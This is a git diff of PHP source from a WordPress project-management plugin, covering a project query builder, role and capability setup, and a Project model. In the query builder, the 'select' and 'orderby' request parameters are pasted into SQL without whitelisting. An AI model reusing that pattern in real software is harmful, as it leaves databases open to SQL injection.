$this->project_ids; + + $query = "SELECT DISTINCT COUNT(pb.id) as discussion_count , project_id + FROM $tb_boards as pb + WHERE pb.project_id IN ($project_format) + AND pb.type=%s + GROUP BY pb.project_id"; + + array_push( $query_data, 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->discussion_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_discussion_boards'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + + private function project_comments_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_comments = pm_tb_prefix() . 'pm_comments'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT(pcm.id) as comment_count , project_id + FROM $tb_comments as pcm + WHERE pcm.project_id IN ($project_format) + GROUP BY pcm.project_id"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->comment_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_comments'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + /** + * Project Milestone Count + * + * @return class + */ + private function project_milestones_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_boards = pm_tb_prefix() . 'pm_boards'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT(pb.id) as milestones_count , project_id + FROM $tb_boards as pb + WHERE pb.project_id IN ($project_format) + AND pb.type=%s + GROUP BY pb.project_id"; + + array_push( $query_data, 'milestone' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->milestones_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_milestones'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + /** + * Project Total Files Count + * + * @return class object + */ + private function project_files_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_files = pm_tb_prefix() . 'pm_files'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT(pf.id) as file_count , project_id + FROM $tb_files as pf + WHERE pf.project_id IN ($project_format) + GROUP BY pf.project_id"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->file_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_files'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + /** + * Project Total Activities Count + * + * @return class object + */ + private function project_activities_count() { + + if ( empty( $this->project_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_activites = pm_tb_prefix() . 'pm_activities'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT COUNT(pma.id) as activity_count , project_id + FROM $tb_activites as pma + WHERE pma.project_id IN ($project_format) + GROUP BY pma.project_id"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $metas[$project_id] = $result->activity_count; + } + + foreach ( $this->projects as $key => $project ) { + $project->meta['data']['total_activities'] = empty( $metas[$project->id] ) ? 0 : $metas[$project->id]; + } + + return $this; + } + + /** + * Choose table select item + * + * @param string $tb + * @param string $key + * + * @return string + */ + private function get_selectable_items( $tb, $key ) { + $select = ''; + $select_items = $this->query_params[$key]; + + if ( empty( $select_items ) ) { + $select = $tb . '.*'; + } + + $select_items = str_replace( ' ', '', $select_items ); + $select_items = explode( ',', $select_items ); + + foreach ( $select_items as $key => $item ) { + $select .= $tb . '.' . $item . ','; + } + + return substr( $select, 0, -1 ); + } + + /** + * Set project categories + * + * @return class object + */ + private function include_categories() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', $with ); + } + + $category = []; + + if ( ! in_array( 'categories', $with ) || empty( $this->project_ids ) ) { + return $this; + } + + $tb_categories = pm_tb_prefix() . 'pm_categories'; + $tb_relation = pm_tb_prefix() . 'pm_category_project'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT cats.id as id, cats.title, cats.description, rel.project_id + FROM $tb_categories as cats + LEFT JOIN $tb_relation as rel ON rel.category_id = cats.id + where rel.project_id IN ($project_format) + AND cats.categorible_type=%s"; + + array_push( $query_data, 'project' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + $category[$project_id] = $result; + } + + foreach ( $this->projects as $key => $project ) { + $project->categories['data'] = empty( $category[$project->id] ) ? [] : [$category[$project->id]]; + } + + return $this; + } + + private function roles( $id ) { + $roles = [ + 1 => [ + 'id' => 1, + 'title' => 'Manager', + 'slug' => 'manager', + 'description' => 'Manager is a person who manages the project.' + ], + 2 => [ + 'id' => 2, + 'title' => 'Co Worker', + 'slug' => 'co_worker', + 'description' => 'Co-worker is person who works under a project.' + ], + 3 => [ + 'id' => 3, + 'title' => 'Client', + 'slug' => 'client', + 'description' => 'Client is a person who provid the project.' + ] + ]; + + return isset( $roles[$id] ) ? $roles[$id] : false; + } + + private function role_capabilities() { + global $wpdb; + + if ( empty( $this->project_ids ) ) { + return $this; + } + + $tb_role_project = pm_tb_prefix() . 'pm_role_project'; + $tb_role_project_capabilities = pm_tb_prefix() . 'pm_role_project_capabilities'; + + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + $query = "SELECT DISTINCT rp.project_id, rp.role_id, rpc.capability_id + FROM $tb_role_project_capabilities as rpc + LEFT JOIN $tb_role_project as rp ON rp.id = rpc.role_project_id + where rp.project_id IN ($project_format)"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + $caps = []; + + foreach ( $results as $key => $result ) { + + $caps[$result->project_id]['co_worker'] = []; + $caps[$result->project_id]['client'] = []; + $caps[$result->project_id]['manager'] = []; + } + + foreach ( $results as $key => $result ) { + if ( $result->role_id == 1 ) { + $role_slug = 'manager'; + } + + if ( $result->role_id == 2 ) { + $role_slug = 'co_worker'; + } + + if ( $result->role_id == 3 ) { + $role_slug = 'client'; + } + + $cap_slug = pm_default_cap( $result->capability_id ); + + $caps[$result->project_id][$role_slug][$cap_slug] = true; + } + + foreach ( $this->projects as $key => $project ) { + if ( empty( $caps[$project->id] ) ) { + $caps[$project->id]['manager'] = pm_default_manager_caps(); + $caps[$project->id]['co_worker'] = pm_default_co_caps(); + $caps[$project->id]['client'] = pm_default_client_caps(); + } + + $project->role_capabilities = empty( $caps[$project->id] ) ? [] : $caps[$project->id]; + } + + return $this; + } + + /** + * Set project ssignees + * + * @return class object + */ + private function include_assignees() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', $with ); + } + + $users = []; + + if ( ! in_array( 'assignees', $with ) || empty( $this->project_ids ) ) { + return $this; + } + + $tb_assignees = pm_tb_prefix() . 'pm_role_user'; + $tb_users = $wpdb->base_prefix . 'users'; + $tb_user_meta = $wpdb->base_prefix . 'usermeta'; + $project_format = pm_get_prepare_format( $this->project_ids ); + $query_data = $this->project_ids; + + if ( is_multisite() ) { + $meta_key = pm_user_meta_key(); + + $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.project_id, asin.role_id + FROM $tb_users as usr + LEFT JOIN $tb_assignees as asin ON usr.ID = asin.user_id + LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = usr.ID + where asin.project_id IN ($project_format) + AND umeta.meta_key='$meta_key'"; + } else { + $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.project_id, asin.role_id + FROM $tb_users as usr + LEFT JOIN $tb_assignees as asin ON usr.ID = asin.user_id + where asin.project_id IN ($project_format)"; + } + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $project_id = $result->project_id; + unset( $result->project_id ); + + $result->avatar_url = get_avatar_url( $result->id ); + $result->roles = [ + 'data' => [$this->roles($result->role_id)] + ]; + + $users[$project_id][] = $result; + } + + foreach ( $this->projects as $key => $project ) { + $project->assignees['data'] = empty( $users[$project->id] ) ? [] : $users[$project->id]; + } + + return $this; + } + + private function select() { + global $wpdb; + + $select = ''; + + if ( empty( $this->query_params['select'] ) ) { + $this->select = $this->tb_project . ".*, {$wpdb->prefix}pm_meta.meta_value"; + + return $this; + } + + $select_items = $this->query_params['select']; + + if ( ! is_array( $select_items ) ) { + $select_items = str_replace( ' ', '', $select_items ); + $select_items = explode( ',', $select_items ); + } + + foreach ( $select_items as $key => $item ) { + $item = str_replace( ' ', '', $item ); + $select .= $this->tb_project . '.' . $item . ','; + } + + $this->select = "{$wpdb->prefix}pm_meta.meta_value, " . substr( $select, 0, -1 ); + + return $this; + } + + private function join() { + global $wpdb; + $current_user_id = get_current_user_id(); + + $this->join .= $wpdb->prepare(" + LEFT JOIN {$wpdb->prefix}pm_meta + ON {$wpdb->prefix}pm_meta.project_id={$wpdb->prefix}pm_projects.id + AND {$wpdb->prefix}pm_meta.meta_key=%s + AND {$wpdb->prefix}pm_meta.entity_id=%d", + + 'favourite_project', $current_user_id + ); + + $this->join .= " LEFT JOIN {$wpdb->prefix}pm_role_user ON {$wpdb->prefix}pm_role_user.project_id={$wpdb->prefix}pm_projects.id"; + + $this->join = apply_filters( 'pm_project_join_query', $this->join, $this->query_params ); + + return $this; + } + + /** + * Set project where condition + * + * @return class object + */ + private function where() { + + $this->where_id() + ->where_category() + ->where_users() + ->where_title() + ->where_status(); + + $this->where = apply_filters( 'pm_project_where_query', $this->where, $this->query_params ); + + return $this; + } + + /** + * Filter project by ID + * + * @return class object + */ + private function where_id() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + if ( is_array( $id ) ) { + $query_format = pm_get_prepare_format( $id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_project}.id IN ($query_format)", $id ); + } + + if ( !is_array( $id ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_project}.id IN (%d)", $id ); + + $explode = explode( ',', $id ); + + if ( count( $explode ) == 1 ) { + $this->is_single_query = true; + } + } + + return $this; + } + + /** + * Filter porject by status + * + * @return class object + */ + private function where_status() { + global $wpdb; + $status = isset( $this->query_params['status'] ) ? $this->query_params['status'] : false; + + if ( empty( $status ) ) { + return $this; + } + + if ( $status == 'favourite' ) { + $current_user_id = get_current_user_id(); + + $this->where .= $wpdb->prepare( " + AND {$wpdb->prefix}pm_meta.entity_id=%d + AND {$wpdb->prefix}pm_meta.meta_value IS NOT NULL + AND {$wpdb->prefix}pm_meta.meta_key=%s", + $current_user_id, 'favourite_project' + ); + + } else { + $attr = [ + 'incomplete' => 0, + 'complete' => 1, + 'pending' => 2, + 'archived' => 3 + ]; + + if ( gettype( $status ) == 'string' ) { + $status = $attr[$status]; + } + $this->where .= $wpdb->prepare( " AND {$this->tb_project}.status=%d", $status ); + } + + return $this; + } + + /** + * Filter project by title + * + * @return class object + */ + private function where_title() { + global $wpdb; + $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; + + if ( empty( $title ) ) { + return $this; + } + + $this->where .= $wpdb->prepare( " AND {$this->tb_project}.title LIKE %s", '%'.$title.'%' ); + + return $this; + } + + /** + * Filter project by users + * + * @return class object + */ + private function where_users() { + global $wpdb; + $inUsers = isset( $this->query_params['inUsers'] ) ? $this->query_params['inUsers'] : false; + + // if ( $inUsers === false ) { + // $inUsers = isset( $this->query_params['users'] ) ? $this->query_params['users'] : false; + // } + + if ( empty( $inUsers ) ) { + if ( pm_has_manage_capability( get_current_user_id() ) ) { + return $this; + } + + $inUsers = get_current_user_id(); + } + + $inUsers = pm_get_prepare_data( $inUsers ); + + if ( is_array( $inUsers ) ) { + $query_format = pm_get_prepare_format( $inUsers ); + + if ( ! empty( trim( $query_format ) ) ) { + $this->where .= $wpdb->prepare( " AND {$this->tb_project_user}.user_id IN ($query_format)", $inUsers ); + } + } else { + $this->where .= $wpdb->prepare( " AND {$this->tb_project_user}.user_id IN (%d)", $inUsers ); + } + + return $this; + } + + /** + * Filter project by category + * + * @return class object + */ + private function where_category() { + global $wpdb; + $category = isset( $this->query_params['category'] ) ? $this->query_params['category'] : false; + + if ( empty( $category ) ) { + return $this; + } + + $this->join .= " LEFT JOIN {$this->tb_category_project} ON {$this->tb_category_project}.project_id={$this->tb_project}.id"; + + if ( is_array( $category ) ) { + $query_format = pm_get_prepare_format( $category ); + $this->where .= $wpdb->prepare( " AND {$this->tb_category_project}.category_id IN ($query_format)", $category ); + } else { + $this->where .= $wpdb->prepare( " AND {$this->tb_category_project}.category_id IN (%d)", $category ); + } + + + return $this; + } + + /** + * Generate project query limit + * + * @return class object + */ + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_projects'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY {$wpdb->prefix}pm_meta.meta_value DESC, " . implode( ', ', $order); + + return $this; + } + + /** + * Get offset + * + * @return int + */ + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + /** + * Get the number for projects per page + * + * @return class instance + */ + private function get_per_page() { + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return (int) $per_page; + } + + $per_page = pm_get_setting( 'project_per_page' ); + + return empty( $per_page ) ? 10 : (int) $per_page; + + return 10; + } + + /** + * Execute the projects query + * + * @return class instance + */ + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_project}.* + FROM + {$this->tb_project} + {$this->join} + WHERE %d=%d + {$this->where} + {$this->orderby} + {$this->limit}"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + + $this->projects = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->project_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->project_ids = [$results->id]; + } + + return $this; + } + + /** + * Set table name as class object + */ + private function set_table_name() { + $this->tb_project = pm_tb_prefix() . 'pm_projects'; + $this->tb_list = pm_tb_prefix() . 'pm_boards'; + $this->tb_task = pm_tb_prefix() . 'pm_tasks'; + $this->tb_project_user = pm_tb_prefix() . 'pm_role_user'; + $this->tb_task_user = pm_tb_prefix() . 'pm_assignees'; + $this->tb_categories = pm_tb_prefix() . 'pm_categories'; + $this->tb_category_project = pm_tb_prefix() . 'pm_category_project'; + } +} diff --git a/src/Project/Helper/Project_Role_Relation.php b/src/Project/Helper/Project_Role_Relation.php index 07b5fc0e8..4a4471d63 100644 --- a/src/Project/Helper/Project_Role_Relation.php +++ b/src/Project/Helper/Project_Role_Relation.php @@ -1,167 +1,167 @@ -role_project( $project, 2 ) - ->role_project_capabilities_co_worker() - ->role_project_user( $project, 2 ); - - $this->role_project( $project, 3 ) - ->role_project_capabilities_client() - ->role_project_user( $project, 3 ); - - $this->role_project( $project, 1 ) - ->role_project_capabilities_manager() - ->role_project_user( $project, 1 ); - - } - - public function set_relation_after_update_project( $project ) { - if ( empty( $project['id'] ) ) { - return; - } - - $this->update_role_project_user( $project ); - - } - - private function update_role_project_user( $project ) { - - global $wpdb; - - $table = $wpdb->prefix . 'pm_role_project_users'; - $tb_role_project = $wpdb->prefix . 'pm_role_project'; - $project_id = $project['id']; - - $role_project_ids = $wpdb->get_results( $wpdb->prepare( "SELECT rpu.role_project_id FROM $table as rpu - LEFT JOIN $tb_role_project as rp ON rp.id=rpu.role_project_id - WHERE rp.project_id=%d", $project_id ) ); - - $role_project_ids = wp_list_pluck( $role_project_ids, 'role_project_id' ); - - foreach ( $role_project_ids as $key => $role_project_id ) { - $wpdb->query( - $wpdb->prepare( "DELETE FROM $table WHERE role_project_id=%d", $role_project_id ) - ); - } - - $role_project_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $tb_role_project WHERE project_id=%d AND role_id=%d", $project_id, 2 ) ); - $this->role_project_id = $role_project_id; - $this->role_project_user( $project, 2, $role_project_id ); - - $role_project_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $tb_role_project WHERE project_id=%d AND role_id=%d", $project_id, 3 ) ); - $this->role_project_id = $role_project_id; - $this->role_project_user( $project, 3, $role_project_id ); - - $role_project_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $tb_role_project WHERE project_id=%d AND role_id=%d", $project_id, 1 ) ); - $this->role_project_id = $role_project_id; - $this->role_project_user( $project, 1, $role_project_id ); - } - - private function role_project( $project, $role_id ) { - global $wpdb; - $table = $wpdb->prefix . 'pm_role_project'; - - $wpdb->insert( $table, [ 'project_id' => $project['id'], 'role_id' => $role_id ] ); - $this->role_project_id = $wpdb->insert_id; - - return $this; - } - - private function role_project_capabilities_manager() { - global $wpdb; - $rol_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; - - for ( $i=1; $i <= 10; $i++ ) { - $wpdb->insert( $rol_project_cap, ['role_project_id' => $this->role_project_id, 'capability_id' => $i] ); - } - - return $this; - } - - private function role_project_capabilities_co_worker() { - global $wpdb; - $rol_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; - - for ( $i=1; $i <= 10; $i++ ) { - $wpdb->insert( $rol_project_cap, ['role_project_id' => $this->role_project_id, 'capability_id' => $i] ); - } - - return $this; - } - - private function role_project_capabilities_client() { - global $wpdb; - $rol_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; - - for ( $i=1; $i <= 10; $i++ ) { - if ( $i%2 ) { - $wpdb->insert( $rol_project_cap, ['role_project_id' => $this->role_project_id, 'capability_id' => $i] ); - } - } - - return $this; - } - - private function role_project_user( $project, $role_id, $role_project_id = null ) { - global $wpdb; - $role_project_user = $wpdb->prefix . 'pm_role_project_users'; - $users = $project['assignees']['data']; - $roles = []; - - if ( empty( $role_project_id ) ) { - $role_project_id = $this->role_project_id; - } - - foreach ( $users as $user ) { - $roles[$user['id']] = !empty( $user['roles']['data'] ) ? $user['roles']['data'][0]['id'] : false; - } - - foreach ( $roles as $user_id => $project_role ) { - if ( $project_role == $role_id ) { - $wpdb->insert( - $role_project_user, - [ - 'role_project_id' => $role_project_id, - 'user_id' => $user_id, - ], - [ - '%d', - '%d', - ] - ); - } - } - - return $this; - } - - public function after_delete_project( $project_id ) { - global $wpdb; - - $tb_rp = $wpdb->prefix . 'pm_role_project'; - $tb_rpu = $wpdb->prefix . 'pm_role_project_users'; - $tb_rpc = $wpdb->prefix . 'pm_role_project_capabilities'; - - $rpids = $wpdb->get_results( $wpdb->prepare("SELECT id FROM $tb_rp WHERE project_id=%d", $project_id) ); - $rpids = wp_list_pluck( $rpids, 'id' ); - - foreach ( $rpids as $key => $rpid ) { - $wpdb->query( $wpdb->prepare( "DELETE FROM $tb_rpu WHERE role_project_id=%d", $rpid ) ); - $wpdb->query( $wpdb->prepare( "DELETE FROM $tb_rpc WHERE role_project_id=%d", $rpid ) ); - } - - $wpdb->query( $wpdb->prepare( "DELETE FROM $tb_rp WHERE project_id=%d", $project_id ) ); - - } - -} +role_project( $project, 2 ) + ->role_project_capabilities_co_worker() + ->role_project_user( $project, 2 ); + + $this->role_project( $project, 3 ) + ->role_project_capabilities_client() + ->role_project_user( $project, 3 ); + + $this->role_project( $project, 1 ) + ->role_project_capabilities_manager() + ->role_project_user( $project, 1 ); + + } + + public function set_relation_after_update_project( $project ) { + if ( empty( $project['id'] ) ) { + return; + } + + $this->update_role_project_user( $project ); + + } + + private function update_role_project_user( $project ) { + + global $wpdb; + + $table = $wpdb->prefix . 'pm_role_project_users'; + $tb_role_project = $wpdb->prefix . 'pm_role_project'; + $project_id = $project['id']; + + $role_project_ids = $wpdb->get_results( $wpdb->prepare( "SELECT rpu.role_project_id FROM $table as rpu + LEFT JOIN $tb_role_project as rp ON rp.id=rpu.role_project_id + WHERE rp.project_id=%d", $project_id ) ); + + $role_project_ids = wp_list_pluck( $role_project_ids, 'role_project_id' ); + + foreach ( $role_project_ids as $key => $role_project_id ) { + $wpdb->query( + $wpdb->prepare( "DELETE FROM $table WHERE role_project_id=%d", $role_project_id ) + ); + } + + $role_project_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $tb_role_project WHERE project_id=%d AND role_id=%d", $project_id, 2 ) ); + $this->role_project_id = $role_project_id; + $this->role_project_user( $project, 2, $role_project_id ); + + $role_project_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $tb_role_project WHERE project_id=%d AND role_id=%d", $project_id, 3 ) ); + $this->role_project_id = $role_project_id; + $this->role_project_user( $project, 3, $role_project_id ); + + $role_project_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $tb_role_project WHERE project_id=%d AND role_id=%d", $project_id, 1 ) ); + $this->role_project_id = $role_project_id; + $this->role_project_user( $project, 1, $role_project_id ); + } + + private function role_project( $project, $role_id ) { + global $wpdb; + $table = $wpdb->prefix . 'pm_role_project'; + + $wpdb->insert( $table, [ 'project_id' => $project['id'], 'role_id' => $role_id ] ); + $this->role_project_id = $wpdb->insert_id; + + return $this; + } + + private function role_project_capabilities_manager() { + global $wpdb; + $rol_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; + + for ( $i=1; $i <= 10; $i++ ) { + $wpdb->insert( $rol_project_cap, ['role_project_id' => $this->role_project_id, 'capability_id' => $i] ); + } + + return $this; + } + + private function role_project_capabilities_co_worker() { + global $wpdb; + $rol_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; + + for ( $i=1; $i <= 10; $i++ ) { + $wpdb->insert( $rol_project_cap, ['role_project_id' => $this->role_project_id, 'capability_id' => $i] ); + } + + return $this; + } + + private function role_project_capabilities_client() { + global $wpdb; + $rol_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; + + for ( $i=1; $i <= 10; $i++ ) { + if ( $i%2 ) { + $wpdb->insert( $rol_project_cap, ['role_project_id' => $this->role_project_id, 'capability_id' => $i] ); + } + } + + return $this; + } + + private function role_project_user( $project, $role_id, $role_project_id = null ) { + global $wpdb; + $role_project_user = $wpdb->prefix . 'pm_role_project_users'; + $users = $project['assignees']['data']; + $roles = []; + + if ( empty( $role_project_id ) ) { + $role_project_id = $this->role_project_id; + } + + foreach ( $users as $user ) { + $roles[$user['id']] = !empty( $user['roles']['data'] ) ? $user['roles']['data'][0]['id'] : false; + } + + foreach ( $roles as $user_id => $project_role ) { + if ( $project_role == $role_id ) { + $wpdb->insert( + $role_project_user, + [ + 'role_project_id' => $role_project_id, + 'user_id' => $user_id, + ], + [ + '%d', + '%d', + ] + ); + } + } + + return $this; + } + + public function after_delete_project( $project_id ) { + global $wpdb; + + $tb_rp = $wpdb->prefix . 'pm_role_project'; + $tb_rpu = $wpdb->prefix . 'pm_role_project_users'; + $tb_rpc = $wpdb->prefix . 'pm_role_project_capabilities'; + + $rpids = $wpdb->get_results( $wpdb->prepare("SELECT id FROM $tb_rp WHERE project_id=%d", $project_id) ); + $rpids = wp_list_pluck( $rpids, 'id' ); + + foreach ( $rpids as $key => $rpid ) { + $wpdb->query( $wpdb->prepare( "DELETE FROM $tb_rpu WHERE role_project_id=%d", $rpid ) ); + $wpdb->query( $wpdb->prepare( "DELETE FROM $tb_rpc WHERE role_project_id=%d", $rpid ) ); + } + + $wpdb->query( $wpdb->prepare( "DELETE FROM $tb_rp WHERE project_id=%d", $project_id ) ); + + } + +} diff --git a/src/Project/Models/Project.php b/src/Project/Models/Project.php index b8b2b74bc..ca2a1270d 100644 --- a/src/Project/Models/Project.php +++ b/src/Project/Models/Project.php @@ -1,135 +1,135 @@ -where('title', 'LIKE', '%'.$search.'%' )->orWhere( 'description', 'LIKE', '%'.$search.'%'); - } - - public function categories() { - return $this->belongsToMany( 'WeDevs\PM\Category\Models\Category', pm_tb_prefix() . 'pm_category_project', 'project_id', 'category_id' ); - } - - /** - * we join pm_roles table with pm_role_user - */ - public function assignees() { - $role_id = Role::where('status', 1)->get(['id'])->toArray(); - $role_id = wp_list_pluck($role_id, 'id'); - - return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_role_user', 'project_id', 'user_id' ) - ->whereIn( 'role_id', $role_id) - ->withPivot( 'project_id', 'role_id' ); - } - - public function task_lists() { - return $this->hasMany( 'WeDevs\PM\Task_List\Models\Task_List', 'project_id' ); - } - - public function tasks() { - return $this->hasMany( 'WeDevs\PM\Task\Models\Task', 'project_id' ); - } - - public function discussion_boards() { - return $this->hasMany( 'WeDevs\PM\Discussion_Board\Models\Discussion_Board', 'project_id' ); - } - - public function milestones() { - return $this->hasMany( 'WeDevs\PM\Milestone\Models\Milestone', 'project_id' ); - } - - public function count_milestones() { - return $this->hasMany( 'WeDevs\PM\Milestone\Models\Milestone', 'project_id' ) - ->count(); - } - - public function files() { - return $this->hasMany( 'WeDevs\PM\File\Models\File', 'project_id' ); - } - - public function comments() { - return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'project_id' ); - } - - public function activities() { - return $this->hasMany( 'WeDevs\PM\Activity\Models\Activity', 'project_id' ); - } - - public function settings() { - return $this->hasMany( 'WeDevs\PM\Settings\Models\Settings', 'project_id' ); - } - - public function meta() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'project_id' ); - } - - public function managers() { - $role_id = Role::where('slug', 'manager')->first()->id; - return $this->assignees()->where('role_id', $role_id); - } - - public function co_workers() { - $role_id = Role::where('slug', 'co_worker')->first()->id; - return $this->assignees()->where('role_id', $role_id); - } - - public function getFavouriteAttribute( ) { - $user_id = get_current_user_id(); - $favourite = $this->meta()->where('meta_key', '=', 'favourite_project' ) - ->where( 'entity_type', 'project' ) - ->where( 'entity_id', '=', $user_id )->first(); - - - return empty($favourite) ? null: $favourite; - } - - public function labels() { - return apply_filters( 'pm_task_label', $this ); - } -} +where('title', 'LIKE', '%'.$search.'%' )->orWhere( 'description', 'LIKE', '%'.$search.'%'); + } + + public function categories() { + return $this->belongsToMany( 'WeDevs\PM\Category\Models\Category', pm_tb_prefix() . 'pm_category_project', 'project_id', 'category_id' ); + } + + /** + * we join pm_roles table with pm_role_user + */ + public function assignees() { + $role_id = Role::where('status', 1)->get(['id'])->toArray(); + $role_id = wp_list_pluck($role_id, 'id'); + + return $this->belongsToMany( 'WeDevs\PM\User\Models\User', pm_tb_prefix() . 'pm_role_user', 'project_id', 'user_id' ) + ->whereIn( 'role_id', $role_id) + ->withPivot( 'project_id', 'role_id' ); + } + + public function task_lists() { + return $this->hasMany( 'WeDevs\PM\Task_List\Models\Task_List', 'project_id' ); + } + + public function tasks() { + return $this->hasMany( 'WeDevs\PM\Task\Models\Task', 'project_id' ); + } + + public function discussion_boards() { + return $this->hasMany( 'WeDevs\PM\Discussion_Board\Models\Discussion_Board', 'project_id' ); + } + + public function milestones() { + return $this->hasMany( 'WeDevs\PM\Milestone\Models\Milestone', 'project_id' ); + } + + public function count_milestones() { + return $this->hasMany( 'WeDevs\PM\Milestone\Models\Milestone', 'project_id' ) + ->count(); + } + + public function files() { + return $this->hasMany( 'WeDevs\PM\File\Models\File', 'project_id' ); + } + + public function comments() { + return $this->hasMany( 'WeDevs\PM\Comment\Models\Comment', 'project_id' ); + } + + public function activities() { + return $this->hasMany( 'WeDevs\PM\Activity\Models\Activity', 'project_id' ); + } + + public function settings() { + return $this->hasMany( 'WeDevs\PM\Settings\Models\Settings', 'project_id' ); + } + + public function meta() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 